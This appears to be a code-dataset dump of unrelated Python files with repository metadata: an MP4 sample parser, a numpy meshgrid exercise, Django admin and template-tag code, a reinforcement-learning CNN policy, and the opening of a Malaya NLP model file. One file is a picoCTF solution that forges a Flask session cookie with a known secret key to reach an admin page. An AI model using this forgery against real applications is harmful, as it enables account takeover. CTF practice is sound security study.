s_c = self.stbl.stsc.samples_per_chunk
lim = self.stbl.stsz.sample_count
k = 0
if self.stbl.stsc.entry_count > 1:
i = 0
j = i + 1
op1 = f_o[j]
op2 = f_o[i]
c = 0
# stsz table tells the total count of samples
while k < lim:
d = op1 - op2
v = s_c[c]
if d == 1:
i += 1
j += 1
if j >= len(f_o):
op1 = lim
c = len(s_c) - 1
else:
op2 = f_o[i]
op1 = f_o[j]
c += 1
else:
op2 += 1
yield v
k += 1
else:
# TODO abhi: fix me - we have the same loop above
while k < lim:
yield s_c[0]
k += 1
class AudioSampleGenerator:
def __init__(self, trak, mdat):
pass
def get(self):
pass
class VideoSampleGenerator(SampleGenerator):
def __init__(self, reader: StreamReader, trak, mdat):
super().__init__(trak.get_stbl())
self.reader = reader
self.stbl = trak.get_stbl()
self.mdat = mdat
# TODO abhi: could this be common for audio as well?
def get_sample(self):
self.reader.reset() # reset the file ptr to the beginning before we begin
num_chunks = self.stbl.stco.entry_count
i = 0
samples_per_chunk = self.get_sample_count()
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(
chunk_offset
) # set the file ptr to the beginning of the chunk
lim = next(samples_per_chunk)
for _ in range(0, lim):
sample_size = self.stbl.stsz.entry_size[i]
i += 1
sample = VideoSample(sample_size, self.reader)
yield sample
# once all the samples in the current chunk are read,
# reset the file ptr to the beginning since we skip
# at the beginning of this loop.
# TODO abhi: see if we can avoid this?
self.reader.reset()
def get_sample_sizes(self):
i = 0
samples_per_chunk = self.get_sample_count()
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(
chunk_offset
) # set the file ptr to the beginning of the chunk
lim = next(samples_per_chunk)
for _ in range(0, lim):
sample_size = self.stbl.stsz.entry_size[i]
i += 1
yield sample_size
def get_generator_pos(self):
return self.reader.current_pos()
def get_sync_sample(self, n):
self.reader.reset() # reset the file ptr to the beginning before we begin
j = 0
k = 0
for chunk_offset in self.stbl.stco.chunk_offsets:
self.reader.skip(chunk_offset)
samples_per_chunk = self.get_sample_count()
for _ in range(0, samples_per_chunk):
if j == self.stbl.stss.sample_num[k]:
sample_size = self.stbl.stsz.entry_size[k]
sync_sample = VideoSample(sample_size, self.reader)
k += 1
yield sync_sample
j += 1
self.reader.reset()
def get_next_sync_sample_index(self):
stss = self.stbl.stss
for ss in stss.sample_num:
yield ss | en | 0.897214 | # SampleGenerator should work with both stbls and truns # It should work with one mdat at a time. # stsz table tells the total count of samples # TODO abhi: fix me - we have the same loop above # TODO abhi: could this be common for audio as well? # reset the file ptr to the beginning before we begin # set the file ptr to the beginning of the chunk # once all the samples in the current chunk are read, # reset the file ptr to the beginning since we skip # at the beginning of this loop. # TODO abhi: see if we can avoid this? # set the file ptr to the beginning of the chunk # reset the file ptr to the beginning before we begin | 2.259496 | 2 |
PythonForDA/ch04/meshgrid.py | eroicaleo/LearningPython | 1 | 6616187 | <reponame>eroicaleo/LearningPython
points = np.arange(-5, 5, 0.01)
points.shape
points.ndim
points
xs, ys = np.meshgrid(points, points)
xs.shape
ys.shape
xs
ys.shape
ys
z = np.sqrt(x**2 + y**2)
import matplotlib.pyplot as plt
plt.imshow(z, cmap=plt.cm.gray); plt.colorbar()
z.shape
z = np.sqrt(xs**2 + ys**2)
plt.imshow(z, cmap=plt.cm.gray); plt.colorbar()
plt.title("Image plot of $\sqrt{x^2 + y^2}$ for a grid of values")
| points = np.arange(-5, 5, 0.01)
points.shape
points.ndim
points
xs, ys = np.meshgrid(points, points)
xs.shape
ys.shape
xs
ys.shape
ys
z = np.sqrt(x**2 + y**2)
import matplotlib.pyplot as plt
plt.imshow(z, cmap=plt.cm.gray); plt.colorbar()
z.shape
z = np.sqrt(xs**2 + ys**2)
plt.imshow(z, cmap=plt.cm.gray); plt.colorbar()
plt.title("Image plot of $\sqrt{x^2 + y^2}$ for a grid of values") | none | 1 | 2.928892 | 3 | |
django_athm/admin.py | django-athm/django-athm | 3 | 6616188 | <gh_stars>1-10
from django.contrib import admin
from . import models
@admin.register(models.ATHM_Transaction)
class ATHM_TransactionAdmin(admin.ModelAdmin):
actions = ["refund"]
date_hierarchy = "date"
list_display = ("reference_number", "date", "status", "total")
list_filter = ("status",)
readonly_fields = ("refunded_amount",)
search_fields = ("reference_number",)
def refund(self, request, queryset):
try:
for transaction in queryset:
models.ATHM_Transaction.refund(transaction)
self.message_user(
request, f"Successfully refunded {queryset.count()} transactions!"
)
except Exception as err:
self.message_user(request, f"An error ocurred: {err}")
refund.short_description = "Fully refund selected ATHM Transactions"
@admin.register(models.ATHM_Item)
class ATHM_ItemAdmin(admin.ModelAdmin):
date_hierarchy = "transaction__date"
list_display = ("transaction", "name", "price")
list_filter = ("transaction",)
search_fields = ("transaction__reference_number", "name", "description")
| from django.contrib import admin
from . import models
@admin.register(models.ATHM_Transaction)
class ATHM_TransactionAdmin(admin.ModelAdmin):
actions = ["refund"]
date_hierarchy = "date"
list_display = ("reference_number", "date", "status", "total")
list_filter = ("status",)
readonly_fields = ("refunded_amount",)
search_fields = ("reference_number",)
def refund(self, request, queryset):
try:
for transaction in queryset:
models.ATHM_Transaction.refund(transaction)
self.message_user(
request, f"Successfully refunded {queryset.count()} transactions!"
)
except Exception as err:
self.message_user(request, f"An error ocurred: {err}")
refund.short_description = "Fully refund selected ATHM Transactions"
@admin.register(models.ATHM_Item)
class ATHM_ItemAdmin(admin.ModelAdmin):
date_hierarchy = "transaction__date"
list_display = ("transaction", "name", "price")
list_filter = ("transaction",)
search_fields = ("transaction__reference_number", "name", "description") | none | 1 | 1.844697 | 2 | |
main.py | zinaLacina/github-track | 0 | 6616189 | <reponame>zinaLacina/github-track<filename>main.py
from ghtrack.CommandLineUtil import CommandLineUtil
if __name__ == '__main__':
CommandLineUtil.main() | from ghtrack.CommandLineUtil import CommandLineUtil
if __name__ == '__main__':
CommandLineUtil.main() | none | 1 | 1.16256 | 1 | |
dmfb_env/my_net.py | tcliang-tw/dmfb-env | 0 | 6616190 | #!/usr/bin/python
import numpy as np
import tensorflow as tf
from stable_baselines.common.policies import *
def myCnn(scaled_images, **kwargs):
activ = tf.nn.relu
layer1 = activ(conv(scaled_images, 'c1',
n_filters = 32, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer2 = activ(conv(layer1, 'c2',
n_filters = 64, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer3 = activ(conv(layer2, 'c3',
n_filters = 64, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer3 = conv_to_fc(layer3)
return activ(linear(layer3, 'fc1',
n_hidden = 256, init_scale = np.sqrt(2)))
class MyCnnPolicy(ActorCriticPolicy):
def __init__(self, sess, ob_space, ac_space,
n_env, n_steps, n_batch, reuse=False,
cnn_extractor=nature_cnn,
feature_extraction="cnn", **kwargs):
super(MyCnnPolicy, self).__init__(
sess, ob_space, ac_space, n_env,
n_steps, n_batch, reuse=reuse,
scale=(feature_extraction == "cnn"))
self._kwargs_check(feature_extraction, kwargs)
with tf.variable_scope("model", reuse=reuse):
pi_latent = vf_latent = myCnn(
self.processed_obs, **kwargs)
self._value_fn = linear(vf_latent, 'vf', 1)
self._proba_distribution, self._policy, self.q_value = \
self.pdtype.proba_distribution_from_latent(pi_latent, vf_latent, init_scale=0.01)
self._setup_init()
def step(self, obs, state=None, mask=None, deterministic=False):
if deterministic:
action, value, neglogp = self.sess.run([self.deterministic_action, self.value_flat, self.neglogp],
{self.obs_ph: obs})
else:
action, value, neglogp = self.sess.run([self.action, self.value_flat, self.neglogp],
{self.obs_ph: obs})
return action, value, self.initial_state, neglogp
def proba_step(self, obs, state=None, mask=None):
return self.sess.run(self.policy_proba, {self.obs_ph: obs})
def value(self, obs, state=None, mask=None):
return self.sess.run(self.value_flat, {self.obs_ph: obs})
| #!/usr/bin/python
import numpy as np
import tensorflow as tf
from stable_baselines.common.policies import *
def myCnn(scaled_images, **kwargs):
activ = tf.nn.relu
layer1 = activ(conv(scaled_images, 'c1',
n_filters = 32, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer2 = activ(conv(layer1, 'c2',
n_filters = 64, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer3 = activ(conv(layer2, 'c3',
n_filters = 64, filter_size = 3,
stride = 1, pad = 'SAME', **kwargs))
layer3 = conv_to_fc(layer3)
return activ(linear(layer3, 'fc1',
n_hidden = 256, init_scale = np.sqrt(2)))
class MyCnnPolicy(ActorCriticPolicy):
def __init__(self, sess, ob_space, ac_space,
n_env, n_steps, n_batch, reuse=False,
cnn_extractor=nature_cnn,
feature_extraction="cnn", **kwargs):
super(MyCnnPolicy, self).__init__(
sess, ob_space, ac_space, n_env,
n_steps, n_batch, reuse=reuse,
scale=(feature_extraction == "cnn"))
self._kwargs_check(feature_extraction, kwargs)
with tf.variable_scope("model", reuse=reuse):
pi_latent = vf_latent = myCnn(
self.processed_obs, **kwargs)
self._value_fn = linear(vf_latent, 'vf', 1)
self._proba_distribution, self._policy, self.q_value = \
self.pdtype.proba_distribution_from_latent(pi_latent, vf_latent, init_scale=0.01)
self._setup_init()
def step(self, obs, state=None, mask=None, deterministic=False):
if deterministic:
action, value, neglogp = self.sess.run([self.deterministic_action, self.value_flat, self.neglogp],
{self.obs_ph: obs})
else:
action, value, neglogp = self.sess.run([self.action, self.value_flat, self.neglogp],
{self.obs_ph: obs})
return action, value, self.initial_state, neglogp
def proba_step(self, obs, state=None, mask=None):
return self.sess.run(self.policy_proba, {self.obs_ph: obs})
def value(self, obs, state=None, mask=None):
return self.sess.run(self.value_flat, {self.obs_ph: obs})
| ru | 0.258958 | #!/usr/bin/python | 2.034786 | 2 |
FlaskcardsSkeletonKey/p1.py | Mitsububunu/picoCTF_Code | 0 | 6616191 | from itsdangerous import URLSafeTimedSerializer, base64_decode
from flask.sessions import session_json_serializer
from hashlib import sha1
from pwn import *
import requests
import json
import zlib
import re
URL = "http://2018shell.picoctf.com:48263"
SECRET_KEY = '<KEY>'
COOKIE_NAME = "session"
class Flaskcards(object):
def __init__(self, url):
self.session = requests.Session()
self.url = url
self.username = None
self.password = None
def Register(self, username, password):
log.info("Registering with username '{}', password '{}'".format(username, password))
register_url = "{}/register".format(self.url)
r = self.session.get(register_url)
csrf = self._get_csrf(r.text)
r = self.session.post(register_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'password2': password})
assert("Successfully registered" in r.text)
self.username = username
self.password = password
return r
def Login(self):
if self.username is None or self.password is None:
raise Exception("Must register first!")
username = self.username
password = self.password
log.info("Logging in with username '{}', password '{}'".format(username, password))
login_url = "{}/login".format(self.url)
r = self.session.get(login_url)
csrf = self._get_csrf(r.text)
r = self.session.post(login_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'remember_me': "n"})
assert("Welcome {}!".format(username) in r.text)
return r
def GetCookie(self, name):
return self.session.cookies[name]
@staticmethod
def _get_csrf(text):
csrf = re.search('input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)"', text).group(1)
return csrf
class FlaskForger(object):
def __init__(self, secret_key):
self.signer = URLSafeTimedSerializer(secret_key, salt='cookie-session', serializer=session_json_serializer,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1})
def forgeSession(self, payload):
gen_payload = self.signer.dumps(payload)
log.info("Generated signed cookie : {}".format(gen_payload))
return gen_payload
@classmethod
def decodeCookiePayload(cls, session):
start = 1 if session[0] == '.' else 0
session_payload = session[start:].split('.')[0]
log.info("Session data: {}".format(session_payload))
decoded_session_payload = base64_decode(session_payload)
decompressed_session_payload = zlib.decompress(decoded_session_payload)
return decompressed_session_payload
flsk = Flaskcards(URL)
flsk.Register(randoms(10), randoms(10))
flsk.Login()
old_cookie_val = flsk.GetCookie(COOKIE_NAME)
log.info("Original cookie: {}".format(old_cookie_val))
forger = FlaskForger(SECRET_KEY)
decoded = FlaskForger.decodeCookiePayload(old_cookie_val)
log.info("Original cookie data: {}".format(decoded))
j = json.loads(decoded)
j["user_id"] = "1"
log.info("New cookie data: {}".format(json.dumps(j)))
new_cookie_val = forger.forgeSession(j)
cookie = {COOKIE_NAME: new_cookie_val}
r = requests.get('{}/admin'.format(URL), cookies=cookie)
for line in r.text.split("\n"):
if "picoCTF" in line:
print (line) | from itsdangerous import URLSafeTimedSerializer, base64_decode
from flask.sessions import session_json_serializer
from hashlib import sha1
from pwn import *
import requests
import json
import zlib
import re
URL = "http://2018shell.picoctf.com:48263"
SECRET_KEY = '<KEY>'
COOKIE_NAME = "session"
class Flaskcards(object):
def __init__(self, url):
self.session = requests.Session()
self.url = url
self.username = None
self.password = None
def Register(self, username, password):
log.info("Registering with username '{}', password '{}'".format(username, password))
register_url = "{}/register".format(self.url)
r = self.session.get(register_url)
csrf = self._get_csrf(r.text)
r = self.session.post(register_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'password2': password})
assert("Successfully registered" in r.text)
self.username = username
self.password = password
return r
def Login(self):
if self.username is None or self.password is None:
raise Exception("Must register first!")
username = self.username
password = self.password
log.info("Logging in with username '{}', password '{}'".format(username, password))
login_url = "{}/login".format(self.url)
r = self.session.get(login_url)
csrf = self._get_csrf(r.text)
r = self.session.post(login_url, data = {"csrf_token": csrf, 'username': username, 'password': password, 'remember_me': "n"})
assert("Welcome {}!".format(username) in r.text)
return r
def GetCookie(self, name):
return self.session.cookies[name]
@staticmethod
def _get_csrf(text):
csrf = re.search('input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)"', text).group(1)
return csrf
class FlaskForger(object):
def __init__(self, secret_key):
self.signer = URLSafeTimedSerializer(secret_key, salt='cookie-session', serializer=session_json_serializer,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha1})
def forgeSession(self, payload):
gen_payload = self.signer.dumps(payload)
log.info("Generated signed cookie : {}".format(gen_payload))
return gen_payload
@classmethod
def decodeCookiePayload(cls, session):
start = 1 if session[0] == '.' else 0
session_payload = session[start:].split('.')[0]
log.info("Session data: {}".format(session_payload))
decoded_session_payload = base64_decode(session_payload)
decompressed_session_payload = zlib.decompress(decoded_session_payload)
return decompressed_session_payload
flsk = Flaskcards(URL)
flsk.Register(randoms(10), randoms(10))
flsk.Login()
old_cookie_val = flsk.GetCookie(COOKIE_NAME)
log.info("Original cookie: {}".format(old_cookie_val))
forger = FlaskForger(SECRET_KEY)
decoded = FlaskForger.decodeCookiePayload(old_cookie_val)
log.info("Original cookie data: {}".format(decoded))
j = json.loads(decoded)
j["user_id"] = "1"
log.info("New cookie data: {}".format(json.dumps(j)))
new_cookie_val = forger.forgeSession(j)
cookie = {COOKIE_NAME: new_cookie_val}
r = requests.get('{}/admin'.format(URL), cookies=cookie)
for line in r.text.split("\n"):
if "picoCTF" in line:
print (line) | none | 1 | 2.906397 | 3 | |
core/templatetags/is_favorited.py | manjurulhoque/django-music-streaming-app | 58 | 6616192 | <filename>core/templatetags/is_favorited.py
from django import template
from core.models import Favorite
register = template.Library()
@register.simple_tag(name='is_favorited', takes_context=True)
def is_favorited(context, song, user):
request = context['request']
if not request.user.is_authenticated:
return 'make'
favorited = Favorite.objects.filter(user=user, song=song)
if favorited:
return 'remove'
else:
return 'make'
| <filename>core/templatetags/is_favorited.py
from django import template
from core.models import Favorite
register = template.Library()
@register.simple_tag(name='is_favorited', takes_context=True)
def is_favorited(context, song, user):
request = context['request']
if not request.user.is_authenticated:
return 'make'
favorited = Favorite.objects.filter(user=user, song=song)
if favorited:
return 'remove'
else:
return 'make'
| none | 1 | 2.369407 | 2 | |
malaya/model/tf.py | ahmed3991/malaya | 1 | 6616193 | <filename>malaya/model/tf.py
import tensorflow as tf
import numpy as np
import re
from malaya.text.function import (
language_detection_textcleaning,
split_into_sentences,
transformer_textcleaning,
pad_sentence_batch,
upperfirst,
)
from malaya.text.rouge import (
filter_rouge,
postprocessing_summarization,
find_lapor_and_remove,
)
from malaya.text.bpe import (
constituency_bert,
constituency_xlnet,
padding_sequence,
PTB_TOKEN_ESCAPE,
merge_sentencepiece_tokens,
encode_pieces,
merge_sentencepiece_tokens_tagging,
)
from malaya.text import chart_decoder
from malaya.text.trees import tree_from_str
from malaya.function.activation import softmax
from malaya.model.abstract import Seq2Seq, Classification, T2T, Abstract
from herpetologist import check_type
from typing import List
def cleaning(string):
return re.sub(r'[ ]+', ' ', string).strip()
def _convert_sparse_matrix_to_sparse_tensor(X, got_limit = False, limit = 5):
coo = X.tocoo()
indices = np.array([coo.row, coo.col]).transpose()
if got_limit:
coo.data[coo.data > limit] = limit
return coo.shape, coo.col, indices, coo.shape, coo.data, indices
class DeepLang(Classification):
def __init__(
self, input_nodes, output_nodes, sess, vectorizer, bpe, type, label
):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._vectorizer = vectorizer
self._bpe = bpe
self._type = type
self._label = label
def _classify(self, strings):
strings = [language_detection_textcleaning(i) for i in strings]
subs = [
' '.join(s)
for s in self._bpe.encode(strings, output_type = self._type)
]
transformed = self._vectorizer.transform(subs)
batch_x = _convert_sparse_matrix_to_sparse_tensor(transformed)
r = self._execute(
inputs = batch_x,
input_labels = [
'X_Placeholder/shape',
'X_Placeholder/values',
'X_Placeholder/indices',
'W_Placeholder/shape',
'W_Placeholder/values',
'W_Placeholder/indices',
],
output_labels = ['logits'],
)
probs = softmax(r['logits'], axis = -1)
return probs
@check_type
def predict(self, strings: List[str]):
"""
classify list of strings.
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
probs = self._classify(strings)
dicts = []
probs = np.argmax(probs, 1)
for prob in probs:
dicts.append(self._label[prob])
return dicts
@check_type
def predict_proba(self, strings: List[str]):
"""
classify list of strings and return probability.
Parameters
----------
strings : List[str]
Returns
-------
result: List[dict[str, float]]
"""
probs = self._classify(strings)
dicts = []
for i in range(probs.shape[0]):
dicts.append({self._label[no]: k for no, k in enumerate(probs[i])})
return dicts
class Constituency(Abstract):
def __init__(
self, input_nodes, output_nodes, sess, tokenizer, dictionary, mode
):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
self._LABEL_VOCAB = dictionary['label']
self._TAG_VOCAB = dictionary['tag']
self._mode = mode
def _parse(self, string):
s = string.split()
sentences = [s]
if self._mode == 'bert':
f = constituency_bert
elif self._mode == 'xlnet':
f = constituency_xlnet
else:
raise ValueError(
'mode not supported, only supported `bert` or `xlnet`'
)
i, m, tokens = f(self._tokenizer, sentences)
r = self._execute(
inputs = [i, m],
input_labels = ['input_ids', 'word_end_mask'],
output_labels = ['charts', 'tags'],
)
charts_val, tags_val = r['charts'], r['tags']
for snum, sentence in enumerate(sentences):
chart_size = len(sentence) + 1
chart = charts_val[snum, :chart_size, :chart_size, :]
return s, tags_val[0], chart_decoder.decode(chart)
@check_type
def vectorize(self, string: str):
"""
vectorize a string.
Parameters
----------
string: List[str]
Returns
-------
result: np.array
"""
s = string.split()
sentences = [s]
if self._mode == 'bert':
f = constituency_bert
elif self._mode == 'xlnet':
f = constituency_xlnet
else:
raise ValueError(
'mode not supported, only supported `bert` or `xlnet`'
)
i, m, tokens = f(self._tokenizer, sentences)
r = self._execute(
inputs = [i, m],
input_labels = ['input_ids', 'word_end_mask'],
output_labels = ['vectorizer'],
)
v = r['vectorizer']
if self._mode == 'bert':
v = v[0]
elif self._mode == 'xlnet':
v = v[:, 0]
return merge_sentencepiece_tokens(
list(zip(tokens[0], v[: len(tokens[0])])),
weighted = False,
vectorize = True,
model = self._mode,
)
@check_type
def parse_nltk_tree(self, string: str):
"""
Parse a string into NLTK Tree, to make it useful, make sure you already installed tktinker.
Parameters
----------
string : str
Returns
-------
result: nltk.Tree object
"""
try:
import nltk
from nltk import Tree
except:
raise ModuleNotFoundError(
'nltk not installed. Please install it and try again.'
)
sentence, tags, (score, p_i, p_j, p_label) = self._parse(string)
idx_cell = [-1]
def make_tree():
idx_cell[0] += 1
idx = idx_cell[0]
i, j, label_idx = p_i[idx], p_j[idx], p_label[idx]
label = self._LABEL_VOCAB[label_idx]
if (i + 1) >= j:
word = sentence[i]
tag = self._TAG_VOCAB[tags[i]]
tag = PTB_TOKEN_ESCAPE.get(tag, tag)
word = PTB_TOKEN_ESCAPE.get(word, word)
tree = Tree(tag, [word])
for sublabel in label[::-1]:
tree = Tree(sublabel, [tree])
return [tree]
else:
left_trees = make_tree()
right_trees = make_tree()
children = left_trees + right_trees
if label:
tree = Tree(label[-1], children)
for sublabel in reversed(label[:-1]):
tree = Tree(sublabel, [tree])
return [tree]
else:
return children
tree = make_tree()[0]
tree.score = score
return tree
@check_type
def parse_tree(self, string):
"""
Parse a string into string treebank format.
Parameters
----------
string : str
Returns
-------
result: malaya.text.trees.InternalTreebankNode class
"""
sentence, tags, (score, p_i, p_j, p_label) = self._parse(string)
idx_cell = [-1]
def make_str():
idx_cell[0] += 1
idx = idx_cell[0]
i, j, label_idx = p_i[idx], p_j[idx], p_label[idx]
label = self._LABEL_VOCAB[label_idx]
if (i + 1) >= j:
word = sentence[i]
tag = self._TAG_VOCAB[tags[i]]
tag = PTB_TOKEN_ESCAPE.get(tag, tag)
word = PTB_TOKEN_ESCAPE.get(word, word)
s = '({} {})'.format(tag, word)
else:
children = []
while (
(idx_cell[0] + 1) < len(p_i)
and i <= p_i[idx_cell[0] + 1]
and p_j[idx_cell[0] + 1] <= j
):
children.append(make_str())
s = ' '.join(children)
for sublabel in reversed(label):
s = '({} {})'.format(sublabel, s)
return s
return tree_from_str(make_str())
class Summarization(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _summarize(
self,
strings,
mode,
decoder = 'greedy',
top_p = 0.7,
postprocess = True,
**kwargs,
):
mode = mode.lower()
if mode not in ['ringkasan', 'tajuk']:
raise ValueError('mode only supports [`ringkasan`, `tajuk`]')
if not 0 < top_p < 1:
raise ValueError('top_p must be bigger than 0 and less than 1')
decoder = decoder.lower()
if decoder not in ['greedy', 'beam', 'nucleus']:
raise ValueError('mode only supports [`greedy`, `beam`, `nucleus`]')
strings_ = [f'{mode}: {cleaning(string)}' for string in strings]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings_]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x, top_p],
input_labels = ['Placeholder', 'Placeholder_2'],
output_labels = [decoder],
)
p = r[decoder].tolist()
results = []
for no, r in enumerate(p):
summary = self._tokenizer.decode(r)
if postprocess and mode != 'tajuk':
summary = filter_rouge(strings[no], summary, **kwargs)
summary = postprocessing_summarization(summary)
summary = find_lapor_and_remove(strings[no], summary)
results.append(summary)
return results
def greedy_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using greedy decoder.
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'greedy',
top_p = 0.7,
postprocess = postprocess,
**kwargs,
)
def beam_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'beam',
top_p = 0.7,
postprocess = postprocess,
**kwargs,
)
def nucleus_decoder(
self,
strings: List[str],
mode: str = 'ringkasan',
top_p: float = 0.7,
postprocess: bool = True,
**kwargs,
):
"""
Summarize strings using nucleus sampling.
Parameters
----------
strings: List[str]
mode: str
mode for summarization. Allowed values:
* ``'ringkasan'`` - summarization for long sentence, eg, news summarization.
* ``'tajuk'`` - title summarization for long sentence, eg, news title.
top_p: float, (default=0.7)
cumulative distribution and cut off as soon as the CDF exceeds `top_p`.
postprocess: bool, optional (default=True)
If True, will filter sentence generated using ROUGE score and removed international news publisher.
Returns
-------
result: List[str]
"""
return self._summarize(
strings = strings,
mode = mode,
decoder = 'nucleus',
top_p = top_p,
postprocess = postprocess,
**kwargs,
)
class Paraphrase(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _paraphrase(self, strings, decoder = 'greedy', top_p = 0.7):
if not 0 < top_p < 1:
raise ValueError('top_p must be bigger than 0 and less than 1')
decoder = decoder.lower()
if decoder not in ['greedy', 'beam', 'nucleus']:
raise ValueError('mode only supports [`greedy`, `beam`, `nucleus`]')
strings = [f'parafrasa: {cleaning(string)}' for string in strings]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x, top_p],
input_labels = ['Placeholder', 'Placeholder_2'],
output_labels = [decoder],
)
p = r[decoder].tolist()
results = [self._tokenizer.decode(r) for r in p]
return results
def greedy_decoder(self, strings: List[str], **kwargs):
"""
Paraphrase strings using greedy decoder.
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'greedy', top_p = 0.7, **kwargs
)
def beam_decoder(self, strings: List[str], **kwargs):
"""
Paraphrase strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings: List[str]
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'beam', top_p = 0.7, **kwargs
)
def nucleus_decoder(self, strings: List[str], top_p: float = 0.7, **kwargs):
"""
Paraphrase strings using nucleus sampling.
Parameters
----------
strings: List[str]
top_p: float, (default=0.7)
cumulative distribution and cut off as soon as the CDF exceeds `top_p`.
Returns
-------
result: List[str]
"""
return self._paraphrase(
strings = strings, decoder = 'nucleus', top_p = top_p, **kwargs
)
class Translation(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
translation_model = True,
)
def greedy_decoder(self, strings: List[str]):
"""
translate list of strings.
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
def beam_decoder(self, strings: List[str]):
"""
translate list of strings using beam decoder, beam width size 3, alpha 0.5 .
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class TrueCase(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
)
@check_type
def greedy_decoder(self, strings: List[str]):
"""
True case strings using greedy decoder.
Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap."
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
@check_type
def beam_decoder(self, strings: List[str]):
"""
True case strings using beam decoder, beam width size 3, alpha 0.5 .
Example, "saya nak makan di us makanan di sana sedap" -> "Saya nak makan di US, makanan di sana sedap."
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class Segmentation(T2T, Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, encoder):
T2T.__init__(
self,
input_nodes = input_nodes,
output_nodes = output_nodes,
sess = sess,
encoder = encoder,
)
@check_type
def greedy_decoder(self, strings: List[str]):
"""
Segment strings using greedy decoder.
Example, "sayasygkan negarasaya" -> "saya sygkan negara saya"
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._greedy_decoder(strings)
@check_type
def beam_decoder(self, strings: List[str]):
"""
Segment strings using beam decoder, beam width size 3, alpha 0.5 .
Example, "sayasygkan negarasaya" -> "saya sygkan negara saya"
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._beam_decoder(strings)
class Tatabahasa(Seq2Seq):
def __init__(self, input_nodes, output_nodes, sess, tokenizer):
self._input_nodes = input_nodes
self._output_nodes = output_nodes
self._sess = sess
self._tokenizer = tokenizer
def _predict(self, strings):
sequences = [
encode_pieces(
self._tokenizer.sp,
string,
return_unicode = False,
sample = False,
)
for string in strings
]
batch_x = [self._tokenizer.encode(string) + [1] for string in strings]
batch_x = padding_sequence(batch_x)
r = self._execute(
inputs = [batch_x],
input_labels = ['x_placeholder'],
output_labels = ['greedy', 'tag_greedy'],
)
p, tag = r['greedy'], r['tag_greedy']
results = []
nonzero = (p != 0).sum(axis = -1)
for i in range(len(p)):
r = self._tokenizer.decode(p[i].tolist())
t = tag[i, : nonzero[i]]
s = encode_pieces(
self._tokenizer.sp, r, return_unicode = False, sample = False
)
merged = merge_sentencepiece_tokens_tagging(
s + ['<cls>'], t, model = 'xlnet'
)
results.append(list(zip(merged[0], merged[1])))
return results
@check_type
def greedy_decoder(self, strings: List[str]):
"""
Fix kesalahan tatatabahasa.
Parameters
----------
strings : List[str]
Returns
-------
result: List[str]
"""
return self._predict(strings)
| <filename>malaya/model/tf.py
import tensorflow as tf
import numpy as np
import re
from malaya.text.function import (
language_detection_textcleaning,
split_into_sentences,
transformer_textcleaning,
pad_sentence_batch,
upperfirst,
)
from malaya.text.rouge import (
filter_rouge,
postprocessing_summarization,
find_lapor_and_remove,
)
from malaya.text.bpe import (
constituency_bert,
constituency_xlnet,
padding_sequence,
